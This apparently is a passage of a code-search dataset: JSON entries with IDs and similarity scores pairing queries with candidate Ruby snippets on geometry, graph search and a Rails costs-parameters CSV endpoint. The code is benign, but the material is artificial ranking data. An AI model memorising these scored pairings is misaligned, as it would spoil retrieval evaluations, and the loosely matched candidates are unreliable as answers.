v2.x, v2.y, v2.z ]\n\n 3.times do |j|\n v0 = @vertexs[0][j]\n v1 = @vertexs[1][j]\n if v0 < v1\n bound[ j] = v0 if v0 < bound[ j]\n bound[3 + j] = v1 if v1 > bound[3 + j]\n else\n bound[ j] = v1 if v1 < bound[ j]\n bound[3 + j] = v0 if v0 > bound[3 + j]\n end\n bound[ j] -= TOLERANCE\n bound[3 + j] += TOLERANCE\n end\n\n bound\n\n end", "title": "" }, { "docid": "e815514d5f0754e3cac54716a1375c38", "score": "0.518651", "text": "def out_of_the_edge?(x_axis, y_axis, limits)\n minor, major = *limits.values\n\n !(x_axis.between?(minor[:x], major[:x])) || !(y_axis.between?(minor[:y], major[:y]))\n end", "title": "" }, { "docid": "c4103ff77298683db657f9841a43a3e7", "score": "0.51835024", "text": "def test_samedirection_edgecases_ninety\n vector = Geom::Vector3d.new 0,0,1\n vector2 = Geom::Vector3d.new 0,1,0\n result = vector.samedirection? vector2\n assert_equal(false, result, 'Failure in test_samedirection_edgecases')\n end", "title": "" }, { "docid": "0e5b1ef9b7723d5acbc7731ff3b9a458", "score": "0.51773417", "text": "def test_lessthan_edgecases_x_greater\n expected = false\n vector = Geom::Vector3d.new 1,0,0\n vector2 = Geom::Vector3d.new 0,0,0\n lt = vector < vector2\n assert_equal(expected, lt,\n 'Failed in test_lessthan_edgecases_x_greater' )\n end", "title": "" }, { "docid": "33d4f2a005feedf9065b436aa0d49c82", "score": "0.517606", "text": "def is_near?( x, y )\n # p \"is_near? @x=#{@x} @width=#{@width} @y=#{@y} @height=#{@height} x=#{x} y=#{y}\"\n if( @x < x ) &&( x < ( @x+@width) )&&( @y < y )&&( y < (@y+@height) )then\n true\n else\n false\n end\n end", "title": "" }, { "docid": "fb2fa8f976508d6beb2b683b574f535b", "score": "0.5175664", "text": "def solution(current_position, target_position, hop_size)\n required_travel = target_position - current_position\n (required_travel.to_f / hop_size).ceil\nend", "title": "" }, { "docid": "1e83a197347ad571d3e9a3f3986bc19a", "score": "0.5168943", "text": "def nearest(target_point)\n nearest_k(target_point, 1)[0]\n end", "title": "" }, { "docid": "f8975e8026069ad7220ff0d408ffff45", "score": "0.5168632", "text": "def min_distances(graph, initial_oriented_node, options={})\n pqueue = DS::AnyPriorityQueue.new {|a,b| a < b}\n first = DistancedOrientedNode.new\n first.node = initial_oriented_node.node\n first.first_side = initial_oriented_node.first_side\n first.distance = 0\n pqueue.push first, first.distance\n\n to_return = {}\n first_node = true\n found_nodes = Set.new([first.node.node_id])\n\n while min_distanced_node = pqueue.shift\n\n # Add/overwrite the current one\n to_return[min_distanced_node.to_settable] = min_distanced_node.distance\n\n log.debug \"Working from #{min_distanced_node.inspect}\" if log.debug?\n\n if options[:leash_length] and min_distanced_node.distance > options[:leash_length]\n # we are passed leash length, and this is the nearest node. So we are finito.\n log.debug \"passed the leash length, cutting short our travels\" if log.debug?\n break\n end\n\n if options[:max_nodes] and found_nodes.length > options[:max_nodes]\n log.debug \"passed max-nodes threshold and have #{found_nodes.length} nodes\" if log.debug?\n # remove extras that may have been queued if we are over the limit\n distances_direction_agnostic = {}\n to_return.each do |key, distance|\n prev = distances_direction_agnostic[key[0]]\n if prev.nil? or prev > distance\n distances_direction_agnostic[key[0]] = distance\n end\n end\n if distances_direction_agnostic.length > options[:max_nodes]\n sorted = distances_direction_agnostic.to_a.sort{|a,b| a[1]<=>b[1]}\n # deal with ties i.e. at the edge there can be multiple neighbours\n last_distance = sorted[options[:max_nodes]][1]\n\n # only keep those nodes that are sufficiently close\n to_return.select! do |key, distance|\n distance <= last_distance\n end\n end\n break\n end\n\n # Queue nodes after this one\n current_distance = min_distanced_node.distance\n\n # Find neighbouring nodes\n neighbours = nil\n if options[:neighbour_finder]\n neighbours = options[:neighbour_finder].neighbours(min_distanced_node)\n else\n neighbours = min_distanced_node.next_neighbours(graph)\n end\n\n # explore each neighbour node\n neighbours.each do |onode|\n found_nodes << onode.node.node_id\n new_distance = current_distance\n if options[:neighbour_finder]\n # Don't use negative distances as this algorithm cannot handle it, and it is impossible\n # anyway\n if onode.distance > 0\n new_distance += onode.distance\n else\n new_distance += 0\n end\n end\n unless first_node\n new_distance += min_distanced_node.node.length_alone\n end\n\n if to_return[onode.to_settable] and to_return[onode.to_settable] <= new_distance\n # We already know a shorter path to this neighbour, so ignore it\n log.debug \"Already seen this node at the same or shorter distance, going no further\" if log.debug?\n else\n log.debug \"Queuing new distance for neighbour: #{onode}: #{new_distance}\" if log.debug?\n # new shortest distance found. queue it up\n distanced_node = DistancedOrientedNode.new\n distanced_node.node = onode.node\n distanced_node.first_side = onode.first_side\n distanced_node.distance = new_distance\n to_return[onode.to_settable] = new_distance\n pqueue.push distanced_node, new_distance\n\n if options[:ignore_directions]\n reverse = DistancedOrientedNode.new\n reverse.node = onode.node\n reverse.first_side = onode.reverse.first_side\n reverse.distance = new_distance\n to_return[onode.to_settable] = new_distance\n pqueue.push reverse, new_distance\n end\n end\n end\n\n first_node = false\n end\n\n # if ignore directions, then fixup the return so that each direction is included\n if options[:ignore_directions]\n new_to_return = {}\n to_return.each do |key, distance|\n keys = [\n Bio::Velvet::Graph::OrientedNodeTrail::START_IS_FIRST,\n Bio::Velvet::Graph::OrientedNodeTrail::END_IS_FIRST].collect do |direction|\n [key[0], direction]\n end\n new_distance = keys.collect{|k| to_return[k]}.reject{|d| d.nil?}.min\n keys.each do |key|\n new_to_return[key] = new_distance\n end\n end\n to_return = new_to_return\n end\n\n return to_return\n end", "title": "" }, { "docid": "ee3d37575ddecad9e96c0a99745b3426", "score": "0.5157107", "text": "def edge? x,y\n @g.edge? x,y\n end", "title": "" }, { "docid": "6cbc528c0eda19c410c4edb1f993f37b", "score": "0.5156935", "text": "def distance_squared_to(other)\n dx = @x - other.x\n dy = @y - other.y\n\n dx * dx + dy * dy\n end", "title": "" }, { "docid": "927373d5f5c1928933dc9d3b11c43cdd", "score": "0.51519454", "text": "def graph_equal_?(o2)\n check_pre((o2.graph_obj?))\n (o2.point2d?) ? (self.x.graph_equal_?(o2.x) and self.y.graph_equal_?(o2.y)) : false\nend", "title": "" }, { "docid": "1f58148553f694d052a9b3fdb532b513", "score": "0.5146221", "text": "def ahead_of?(node)\n # During a shard operation, nodes may be in different logical pools according to\n # the asset tracker, but the same physical pool in reality. We only want to raise\n # an exception if the nodes truly share no common ancestry.\n my_pool = pool(true)\n target_pool = node.pool(true)\n if my_pool != target_pool\n my_pool_master = master || self\n my_pool_master = my_pool_master.master while my_pool_master.master\n target_pool_master = node.master || node\n target_pool_master = target_pool_master.master while target_pool_master.master\n raise \"Cannot compare nodes with different pools and different top-level masters!\" if my_pool_master != target_pool_master\n end\n\n # Only use GTID if enabled and the nodes are in the same logical pool. Otherwise, methods\n # like gtid_executed_from_pool_master will not work properly.\n if my_pool.gtid_mode? && my_pool == target_pool\n # Ordinarily we only want to concern ourselves with transactions that came from the\n # current pool master. BUT if the target node hasn't executed any of those, then we need\n # to look at other things as a workaround. If self DOES have transactions from pool\n # master and the other node doesn't, we know self is ahead; otherwise, look at full gtid\n # sets (not just from pool master) and see if one node has transactions the other does not.\n node_gtid_exec = node.gtid_executed_from_pool_master(true)\n if node_gtid_exec.nil?\n return true unless gtid_executed_from_pool_master(true).nil?\n self_has_extra = has_extra_transactions_vs? node\n node_has_extra = node.has_extra_transactions_vs? self\n raise \"Cannot determine which node is ahead; both have disjoint extra transactions\" if self_has_extra && node_has_extra\n return self_has_extra\n else\n return ahead_of_gtid? node_gtid_exec\n end\n end\n\n # If we get here, we must use coordinates instead of GTID. The correct coordinates\n # to use, on self and on node, depend on their roles relative to each other.\n if node == self.master\n return repl_ahead_of_coordinates?(node.binlog_coordinates)\n elsif self == node.master\n return ahead_of_coordinates?(node.repl_binlog_coordinates)\n elsif self.master == node.master\n # This case also gets triggered if they're both false, but that never\n # occurs -- they wouldn't be in the same pool in that case\n return repl_ahead_of_coordinates?(node.repl_binlog_coordinates)\n else\n raise \"Cannot compare coordinates of nodes more than one level apart in replication hierarchy!\"\n end\n end", "title": "" }, { "docid": "fee73aca3a4a68f57854bc4834d314ba", "score": "0.51427126", "text": "def furthest_pair_of_end_nodes\n max = -1\n max_pair = nil\n\n @end_nodes.each do |end_node|\n furthest = furthest(end_node)\n dist = dist(end_node, furthest)\n\n if dist > max\n max = dist\n max_pair = end_node, furthest\n end\n end\n\n return max_pair, max\n end", "title": "" }, { "docid": "3fd0ec086d10a237b131fe0a781edcf3", "score": "0.5138513", "text": "def which_side_of_target(test_point)\n # From: http://www.gamedev.net/topic/542870-determine-which-side-of-a-line-a-point-is/\n # A and B are points forming the target line. C is the test point\n # (Bx - Ax) * (Cy - Ay) - (By - Ay) * (Cx - Ax)\n ((@target[:b][:x] - @target[:a][:x]) *\n (test_point[:y]-@target[:a][:y]) -\n (@target[:b][:y] - @target[:a][:y]) *\n (test_point[:x] - @target[:a][:x]) > 0) ? 1 : -1\n end", "title": "" }, { "docid": "37a03392c0f2c1616fbfc0a70aa98188", "score": "0.5132784", "text": "def heuristic_mouse_over_target?\n inputs.mouse.point.inside_rect?(heuristic_scale_up(grid.target))\n end", "title": "" }, { "docid": "ed2cb10df9fc813e23e11226f9012239", "score": "0.5131917", "text": "def test_find_nighbor_low_old\r\n assert_raises ('New index out of valid range!') { @g.find_neighbor(-1, 2)}\r\n end", "title": "" }, { "docid": "b2715edd052ce20f980ac7258c57f50b", "score": "0.51301765", "text": "def dist2(other)\n (@x - other.x)*(@x - other.x) + (@y - other.y)*(@y - other.y)\n end", "title": "" }, { "docid": "62fc7b4abc7523acb20ad84c2211b257", "score": "0.5128989", "text": "def near?(other, distance = nil)\n raise NotImplementedError.new('subclasses must redefine near?')\n end", "title": "" }, { "docid": "7be918d9a0bcf50d57133e79af8ddae4", "score": "0.5123067", "text": "def intersects_in_axis?(other_cuboid, axis)\n dimensions = {\n x: \"width\",\n y: \"height\",\n z: \"length\"\n }\n\n min_axis = self.send(\"origin_#{axis}\")\n max_axis = min_axis + self.send(dimensions[axis])\n other_min_axis = other_cuboid.send(\"origin_#{axis}\")\n other_max_axis = other_cuboid.send(dimensions[axis])\n\n\n if (other_min_axis >= min_axis && other_min_axis <= max_axis) ||\n (min_axis >= other_min_axis && min_axis <= other_max_axis)\n true\n else\n false\n end\n end", "title": "" }, { "docid": "c0a2e79c2a712ded67d846d0b07bda7b", "score": "0.5122905", "text": "def test_morph_gets_negative_distances\n metric = MM::Metric.olm intra_delta: :abs, inter_delta: :abs\n @space = MM::Space.new [metric], delta: 0.001\n @space.boundaries = [[[0.0, 0.0], [0.0, 1.0]]]\n @space.adjacent_points_function = one_tenth_adjacent_point\n start_morph = [0.0, 0.5]\n\n res = @space.morph start_morph, to: [-0.1]\n lowest = @space.boundaries[0][0]\n\n refute_nil res\n assert metric.call(lowest, start_morph) > metric.call(lowest, res)\n assert_in_delta 0.1, metric.call(start_morph, res), 0.001\n end", "title": "" }, { "docid": "2f60dec66f1bbfda5ca63c1eece4007b", "score": "0.5121927", "text": "def d_index_along\n (edge.inside.p1.x == edge.inside.p2.x) ? 1 : 0\n end", "title": "" }, { "docid": "7133896a7e73b67394e2972c4f8703b7", "score": "0.5113661", "text": "def nearest_child\n c = nil\n children.each do |n|\n c=n if not c or distance(n)<distance(c)\n end\n c\n end", "title": "" }, { "docid": "49e78f4d34b9fcca662e114770050a3e", "score": "0.51129335", "text": "def right?\n free_space.include?([$x, $y.to_i + 1])\n end", "title": "" }, { "docid": "df9efa5ebac92827d604c70d85e08b5c", "score": "0.51117927", "text": "def determine_distance(node_one, node_two)\n\t\t#x distances\n\t\tx_one = node_one.position[0]\n\t\tx_two = node_two.position[0]\n\n\t\t#y_distances\n\t\ty_one = node_one.position[1]\n\t\ty_two = node_two.position[1]\n\n\t\t#the ole a^2 + b^2 = c^2 formula\n\t\t(x_one - x_two) ** 2 + (y_one - y_two) ** 2\n\tend", "title": "" }, { "docid": "fd7320a87434473598df90c590536672", "score": "0.510082", "text": "def on_left_edge?\n grid_x == 0\n end", "title": "" }, { "docid": "e6ff43ab3eb5d386613143067c2dac40", "score": "0.5092493", "text": "def furthest(end_node)\n @end_nodes.max_by {|end_node2| @end_node_dijkstras[end_node].dist[end_node2] ? @end_node_dijkstras[end_node].dist[end_node2] : -1}\n end", "title": "" }, { "docid": "fd36c1ab1b846a866867c49555e4a08a", "score": "0.50868946", "text": "def test_boundscheck\n\t\tassert_raise( RuntimeError ) { Direction.opposite(-1) }\n\tend", "title": "" }, { "docid": "f2a0bc28258fd9568dc3fc0d0b5e8015", "score": "0.508458", "text": "def neighbour?(u, v)\n x_diff = (u[1] - v[1]).abs\n y_diff = (u[0] - v[0]).abs\n if y_diff < 2 && x_diff < 2 && (x_diff + y_diff) == 1\n return true\n end\n return false\nend", "title": "" }, { "docid": "95ec85d83061bb0aafc1ded049025c39", "score": "0.50843143", "text": "def paired_neighbour_distances(oriented_node)\n # Collect a list of node IDs that have a sufficient number of connections\n #hash of node ID to Array of [first_read, second_read_id] where first_read is on the current\n # node and second_read is on the neighbour\n neighbour_node_read_pairs = {}\n oriented_node.node.short_reads.each do |read|\n # skip reads not going in the direction consistent with direction of travel\n next unless (read.direction == true and oriented_node.first_side == Bio::Velvet::Graph::OrientedNodeTrail::START_IS_FIRST) or\n (read.direction == false and oriented_node.first_side == Bio::Velvet::Graph::OrientedNodeTrail::END_IS_FIRST)\n\n pair_read_id = @finishm_graph.velvet_sequences.pair_id(read.read_id)\n unless pair_read_id.nil? #i.e. if read is paired\n @finishm_graph.read_to_nodes[pair_read_id].each do |node_id|\n neighbour_node_read_pairs[node_id] ||= []\n neighbour_node_read_pairs[node_id] << [read, pair_read_id]\n end\n end\n end\n\n # Create a hash of paired node_ids to [fwd_noded_read, rev_noded_read]\n node_ids_to_read_and_pair = {}\n neighbour_node_read_pairs.each do |neighbour_node_id, pairs|\n next if (@min_adjoining_reads and pairs.length < @min_adjoining_reads)\n\n # ignore neighbours that have too much coverage, these are likely\n # to be incorrect connections e.g. adapter contamination\n neighbour_node = @finishm_graph.graph.nodes[neighbour_node_id]\n log.debug \"Found neighbour node coverage #{neighbour_node.coverage}\" if log.debug?\n if @max_adjoining_node_coverage and neighbour_node.coverage > @max_adjoining_node_coverage\n log.debug \"Skipping node #{neighbour_node} as it has coverage #{neighbour_node.coverage} not < #{@max_adjoining_node_coverage}\" if log.debug?\n next\n end\n\n node_ids_to_read_and_pair[neighbour_node_id] ||= []\n\n pairs.each do |pair|\n read = pair[0]\n pair_read_id = pair[1]\n rev_read = neighbour_node.short_reads.get_read_by_id(pair_read_id)\n if rev_read.nil?\n raise \"unexpectedly didn't find read attached to node when one was expected: #{pair_read_id}\"\n end\n node_ids_to_read_and_pair[neighbour_node_id] << [read, rev_read]\n end\n end\n\n # Collate each list of reads into a list of PairedNeighbour objects\n neighbours = []\n node_ids_to_read_and_pair.each do |neighbour_node_id, read_pairs|\n next if neighbour_node_id == oriented_node.node.node_id #nodes paired to themselves don't count\n\n neighbour = Neighbour.new\n neighbour.connection_type = Neighbour::PAIRED_END_CONNECTION\n neighbour.node = @finishm_graph.graph.nodes[neighbour_node_id]\n log.debug \"Setting neighbour node as #{neighbour.node}\" if log.debug?\n\n # find the expected direction of the\n direction_vote = {}\n read_pairs.each do |pair|\n key = pair[1].direction\n direction_vote[key] ||= 0\n direction_vote[key] += 1\n end\n found_direction = direction_vote.max{|a,b| a[1] <=> b[1]}[0]\n if found_direction == true\n neighbour.first_side = Bio::Velvet::Graph::OrientedNodeTrail::END_IS_FIRST\n elsif found_direction == false\n neighbour.first_side = Bio::Velvet::Graph::OrientedNodeTrail::START_IS_FIRST\n end\n\n distance_sum = 0\n num_adjoining_reads = 0\n read_pairs.each do |pair|\n if found_direction == pair[1].direction\n distance = estimate_distance_between_nodes(oriented_node.node, neighbour.node, pair[0], pair[1], @insert_size)\n unless distance.nil?\n log.debug \"Accepting distance #{distance} from read_id #{pair[1].read_id}\" if log.debug?\n distance_sum += distance\n num_adjoining_reads += 1\n end\n end\n end\n\n # don't accept when no adjoining reads are found\n if num_adjoining_reads > 0 and\n (@min_adjoining_reads.nil? or num_adjoining_reads >= @min_adjoining_reads)\n\n if distance_sum < 0\n # don't predict negative distances\n neighbour.distance = 0\n else\n neighbour.distance = distance_sum.to_f / num_adjoining_reads\n end\n\n neighbour.num_adjoining_reads = num_adjoining_reads\n neighbours.push neighbour\n end\n end\n\n return neighbours\n end", "title": "" } ]
cc6a5fb374ed45916cf2ff95c2cce59e
GET /api/v3/scenarios/:id/costs_parameters Returns a CSV file containing the cost paramaters of nodes belonging to costs groups.
[ { "docid": "18b6b007ffd0a7a8dc979ceac37752c9", "score": "0.7861042", "text": "def costs_parameters\n send_csv(CostsParametersSerializer.new(@scenario), 'costs_parameters.%d.csv')\n end", "title": "" } ]
[ { "docid": "6f17961f9c5ffdbcd6b31c0d93e1b938", "score": "0.5513154", "text": "def cost_params\n params.require(:cost).permit(:id, :name, :parent_id, :cost_type, :data_type, :tooltip)\n end", "title": "" }, { "docid": "019c88f9704594b4a0e6fc38b5148f38", "score": "0.54084677", "text": "def production_parameters\n send_csv(ProductionParametersSerializer.new(@scenario), 'production_parameters.%d.csv')\n end", "title": "" }, { "docid": "eb01fdf3fca79dfee3be2ed9ba9fd92a", "score": "0.5322316", "text": "def cost_params\n params.require(:cost).permit(:fecha, :monto, :project_id, :concept_id)\n end", "title": "" }, { "docid": "20fb150ce7d7973a788e56df797d6036", "score": "0.5302222", "text": "def cost_params\n params.require(:cost).permit(:submitter, :expense_date, :level1_id, :level2_id, :level3_id, :amount, :comments, :image, :number_of_people, :people_names, :onsite)\n end", "title": "" }, { "docid": "e131b96affa6a670a5e6d6337bab28c0", "score": "0.5255406", "text": "def cost_params\n params.require(:cost).permit(:title, :value_min, :value_max, :unit, :action_id)\n end", "title": "" }, { "docid": "d7ffc9d2f8ac4dde78ff6bccfee0a1d9", "score": "0.51881945", "text": "def cost_params\n params.require(:cost).permit(:name, :description, :admin_id, :base, :factor)\n end", "title": "" }, { "docid": "a19cb130c2536b741ad7b8a11b108354", "score": "0.51053804", "text": "def cost_params\n params.require(:cost).permit(:value, :description, :trip_id, :exchange_id)\n end", "title": "" }, { "docid": "66f1c3569535f3892d59b4d735ee011b", "score": "0.50837886", "text": "def storage_parameters\n send_csv(\n ConfiguredCSVSerializer.new(Etsource::Config.storage_parameters_csv, @scenario.gql),\n 'storage_parameters.%d.csv'\n )\n end", "title": "" }, { "docid": "068ec0b732fe539f34c82b0b4e687ad1", "score": "0.4980076", "text": "def cost_params\n params.require(:cost).permit(:name, :when, :travel_id)\n end", "title": "" }, { "docid": "2a8406e41d1b4d21baa07544788621bd", "score": "0.49664116", "text": "def construction_cost_params\n params.require(:construction_cost).permit(:construction_datum_id, :supplies_expense, :labor_cost, :misellaneous_expense, :constructing_amount, :purchase_order_amount, \n :purchase_amount, :execution_amount, :final_return_division)\n end", "title": "" }, { "docid": "f09147afb9f5b43fb19f0d86e0d0c8a3", "score": "0.49600926", "text": "def cost_params\r\n params.require(:cost).permit(:value, :user_id, :benefit_id)\r\n end", "title": "" }, { "docid": "c69699825620b74708dcb005e5336975", "score": "0.49595279", "text": "def cost_params\n params.require(:cost).permit(:name, :hourly_cost, :notes)\n end", "title": "" }, { "docid": "eb1accc66823fb5ffc598a44d53e3198", "score": "0.49424353", "text": "def fixed_cost_params\n params.require(:fixed_costs).permit(:security_deposit,:construction_cost,:training_equipment_cost,:av_equipment_cost,:architect_cost)\n end", "title": "" }, { "docid": "18d507cd5cbede73e157c2e5c2de5e82", "score": "0.48959765", "text": "def cost_params\n params.require(:cost).permit(:per_price, :type, :type_id)\n end", "title": "" }, { "docid": "211f28edbc2abe6a66c2eb33b88ea997", "score": "0.4857708", "text": "def outsourced_task_params\n params.require(:outsourced_task).permit(:name, :estimated_cost, :actual_cost, :charged_to_client)\n end", "title": "" }, { "docid": "bbde4e5f04d30767d282d16755a27ea8", "score": "0.48466212", "text": "def cost_payment_plan_params\n params.fetch(:cost_payment_plan, {})\n end", "title": "" }, { "docid": "dd533c41f40b91bbd5334b48a18d154c", "score": "0.48285916", "text": "def cost_params\n params.require(:cost).permit(:person, :description, :amount)\n end", "title": "" }, { "docid": "f20333f59936825c2e1a2932697db67c", "score": "0.4812492", "text": "def cost_detail_params\r\n params.require(:cost_detail).permit(:cost_type, :cost, :provider, :maintenance_history_id)\r\n end", "title": "" }, { "docid": "70ddae1ade0238a2a41491da7e86c42a", "score": "0.48052624", "text": "def parameters\n [@total_direct_cost_limit, @on_off_campus, @comments, @modular_budget,\n @residual_funds, @total_cost_limit, @unrecovered_fa_rate_type, @f_and_a_rate_type,\n @submit_cost_sharing]\n end", "title": "" }, { "docid": "268113168326d322e0082c5595ff52c6", "score": "0.4769359", "text": "def as_csv(*)\n CSV.generate do |csv|\n csv << %w[\n key\n number_of_units\n electricity_output_capacity\\ (MW)\n heat_output_capacity\\ (MW)\n full_load_hours\n total_initial_investment_per_plant\\ (Euros)\n wacc\\ (factor)\n technical_lifetime\\ (years)\n ]\n\n nodes.each do |node|\n csv << node_row(node)\n end\n end\n end", "title": "" }, { "docid": "d7e43d61e49824fc54e985dac5d601d1", "score": "0.4768027", "text": "def cost_type_params\n params[:cost_type]\n end", "title": "" }, { "docid": "1536a3b8e967327582f940df0b0be161", "score": "0.47550237", "text": "def cost_params\n params.require(:cost).permit(:seat, :cost, :trip_id)\n end", "title": "" }, { "docid": "be2ca3dcf320b06b1f1a0d08e61e5f31", "score": "0.4714903", "text": "def costos_variable_params\n params.require(:costos_variable).permit(:localidad_logistica, :localidad_consolidado, :localidad_stacking, :valor_peajes, :vitaico_kilometros, :servicio_kilometro, :sueldo_conductor, :porcentaje_conductor, :horas_logistica)\n end", "title": "" }, { "docid": "dcec635fb687174f96410ff48d253c7b", "score": "0.46676996", "text": "def investigationcost_params\n params.require(:investigationcost).permit(:investigation_id, :item, :amount, :currency)\n end", "title": "" }, { "docid": "a9596bb335d13ddd62f67309d2ada80c", "score": "0.4650004", "text": "def costs\n @cost_payment_plan = @project.cost_payment_plan\n @budget = @project.budget\n end", "title": "" }, { "docid": "c402dfabacb1867c8965d340cfa0d880", "score": "0.46199754", "text": "def match_cost_params\n params.require(:match_cost).permit(:cost_code, :mID)\n end", "title": "" }, { "docid": "1edfe0f725b4341148a229765a3b481b", "score": "0.4575789", "text": "def group_plan_params\n params[:group_plan]\n end", "title": "" }, { "docid": "65748aef36c95800ac5847618b10891d", "score": "0.45632547", "text": "def travel_cost_params\n params.require(:travel_cost).permit(:occurence, :cost, :description)\n end", "title": "" }, { "docid": "a87cb9a50d6b846ef7b59d1992b24c78", "score": "0.4561984", "text": "def costing_params\n params.require(:costing).permit(:cost_date, :cost_status, :labour_cost, :fabric_cost, :acc_cost, :misc_cost, :garment_id)\n end", "title": "" }, { "docid": "56fe2c8b64b29ebd7f4410aa10049fd5", "score": "0.45470485", "text": "def costo_general_params\n params.require(:costo_general).permit(:salario, :salario_porcentaje, :subsidio, :subsidio_procentaje, :total_sueldo, :total_porcentaje, :cesantias, :cesantias_porcentaje, :prima, :prima_procentaje, :vacaciones, :vacaciones_porcentaje, :intereses_cesantias, :total_prestacion, :total_porcentaje_pres, :porcenjatesalud, :salud, :porcentajepension, :pension, :porcentajerprofesional, :rprofesional, :porcentajesena, :sena, :porcentajeicbf, :icbf, :porcentajecajacompensacion, :cajacompensaciontotal, :porcentajetotal_costom, :total_costom, :porcentajetotalneto, :totalneto, :dias_año, :domingos, :festivos, :vacaciones_trabajador, :total_dias, :dlaborales_mes, :costo_dia, :hlaborales, :costo_hora, :costo_minuto, :recargo_adicional, :total_minuto, :intereses_porcentaje)\n end", "title": "" }, { "docid": "6f197cd76cd3ed8048010c38ee23a985", "score": "0.4543896", "text": "def get_bgp_neighbor_routes_in_csv_format_csv_with_http_info(logical_router_id, neighbor_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_bgp_neighbor_routes_in_csv_format_csv ...'\n end\n # verify the required parameter 'logical_router_id' is set\n if @api_client.config.client_side_validation && logical_router_id.nil?\n fail ArgumentError, \"Missing the required parameter 'logical_router_id' when calling ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_bgp_neighbor_routes_in_csv_format_csv\"\n end\n # verify the required parameter 'neighbor_id' is set\n if @api_client.config.client_side_validation && neighbor_id.nil?\n fail ArgumentError, \"Missing the required parameter 'neighbor_id' when calling ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi.get_bgp_neighbor_routes_in_csv_format_csv\"\n end\n # resource path\n local_var_path = '/logical-routers/{logical-router-id}/routing/bgp/neighbors/{neighbor-id}/routes?format=csv'.sub('{' + 'logical-router-id' + '}', logical_router_id.to_s).sub('{' + 'neighbor-id' + '}', neighbor_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/csv'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BgpNeighborRouteDetailsInCsvFormat')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiLogicalRoutingAndServicesLogicalRoutersApi#get_bgp_neighbor_routes_in_csv_format_csv\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a0e2aeed8137f82af1993d7dd47c231c", "score": "0.4539174", "text": "def package_cost_params\n params.require(:package_cost).permit(:package_size, :cost_per_carton)\n end", "title": "" }, { "docid": "9b50856de94edc42b7a70f934aa09d71", "score": "0.45378605", "text": "def adquisition_cost_params\n params.require(:adquisition_cost).permit(:product_id, :cost)\n end", "title": "" }, { "docid": "24c4436a0dcd60ec3251b4ac484fd9fb", "score": "0.4509184", "text": "def cost_params\n params.require(:cost).permit(:purchaser_name, :item_description, :item_price, :purchase_count, :merchant_address, :merchant_name)\n end", "title": "" }, { "docid": "c1146d816798803d825be5c92688bc12", "score": "0.45075834", "text": "def costura_params\n params.require(:costura).permit(:data, :faccao, :corte_id, :qtd_total)\n end", "title": "" }, { "docid": "859febf48c2fdb152d1ec312cd8b69cf", "score": "0.44977283", "text": "def get_logical_router_routing_table_in_csv_format_csv_with_http_info(logical_router_id, transport_node_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogicalRoutingAndServicesApi.get_logical_router_routing_table_in_csv_format_csv ...\"\n end\n # verify the required parameter 'logical_router_id' is set\n if @api_client.config.client_side_validation && logical_router_id.nil?\n fail ArgumentError, \"Missing the required parameter 'logical_router_id' when calling LogicalRoutingAndServicesApi.get_logical_router_routing_table_in_csv_format_csv\"\n end\n # verify the required parameter 'transport_node_id' is set\n if @api_client.config.client_side_validation && transport_node_id.nil?\n fail ArgumentError, \"Missing the required parameter 'transport_node_id' when calling LogicalRoutingAndServicesApi.get_logical_router_routing_table_in_csv_format_csv\"\n end\n if @api_client.config.client_side_validation && opts[:'route_source'] && !['BGP', 'STATIC', 'CONNECTED'].include?(opts[:'route_source'])\n fail ArgumentError, 'invalid value for \"route_source\", must be one of BGP, STATIC, CONNECTED'\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'cached'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, cached'\n end\n # resource path\n local_var_path = \"/logical-routers/{logical-router-id}/routing/routing-table?format=csv\".sub('{' + 'logical-router-id' + '}', logical_router_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'transport_node_id'] = transport_node_id\n query_params[:'network_prefix'] = opts[:'network_prefix'] if !opts[:'network_prefix'].nil?\n query_params[:'route_source'] = opts[:'route_source'] if !opts[:'route_source'].nil?\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/csv'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalRouterRouteTableInCsvFormat')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogicalRoutingAndServicesApi#get_logical_router_routing_table_in_csv_format_csv\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "be96e8cf485ee5f212b4574c3d572fdd", "score": "0.4478184", "text": "def costs\n list = [] \n @object.children.each do |route|\n route.entities.each do |e|\n e.costs.each do |c|\n list.push(c)\n end\n end\n end\n list \n end", "title": "" }, { "docid": "f60aff2dd308969b889d02abcf798117", "score": "0.4443858", "text": "def costs_of_topologies(group_of_four)\n topologies(group_of_four).map { |topology| cost(topology) }\n end", "title": "" }, { "docid": "d88bbab7ada412ebc0acccfb86c2d425", "score": "0.44422662", "text": "def to_csv(bnode_map: {})\n require 'csv' unless defined?(::CSV)\n bnode_gen = \"_:a\"\n CSV.generate(row_sep: 